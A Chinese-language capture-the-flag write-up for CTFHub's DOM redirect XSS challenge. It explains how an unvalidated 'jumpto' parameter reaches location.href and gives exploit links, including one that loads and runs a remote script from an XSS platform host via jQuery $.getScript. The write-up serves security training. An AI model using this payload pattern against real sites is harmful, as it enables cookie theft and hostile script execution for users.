前文:DOM反射XSS
进入网站,直接查看源代码,下面是关键代码,这里有xss漏洞:
<script>
var target = location.search.split("=")
if (target[0].slice(1) == "jumpto") {
location.href = target[1];
}
</script>
这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。
具体而言,它使用
location.search
获取查询字符串部分(例如:“?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/”),然后使用.split("=")
将其拆分为参数名和参数值的数组。
然后,它检查
target[0].slice(1)
是否等于"jumpto",这是因为target[0]
包含"?“字符,使用.slice(1)
去掉”?"。如果相等,就使用location.href
将页面重定向到target[1]
,也就是参数值所指定的URL。
注意!当你将类似于 location.href = "javascript:alert('xss')"
这样的代码赋值给 location.href
时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。
所以我们可以构造如下链接:执行js语句
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)
然后构造链接来加载xss平台的代码
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//74WcPm")
这段代码使用了 jQuery 的 $.getScript()
函数来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。
执行成功,收到flag,提交成功
成功完成CTFHub的xss技能树所有挑战
参考文章:xss如何加载远程js的一些tips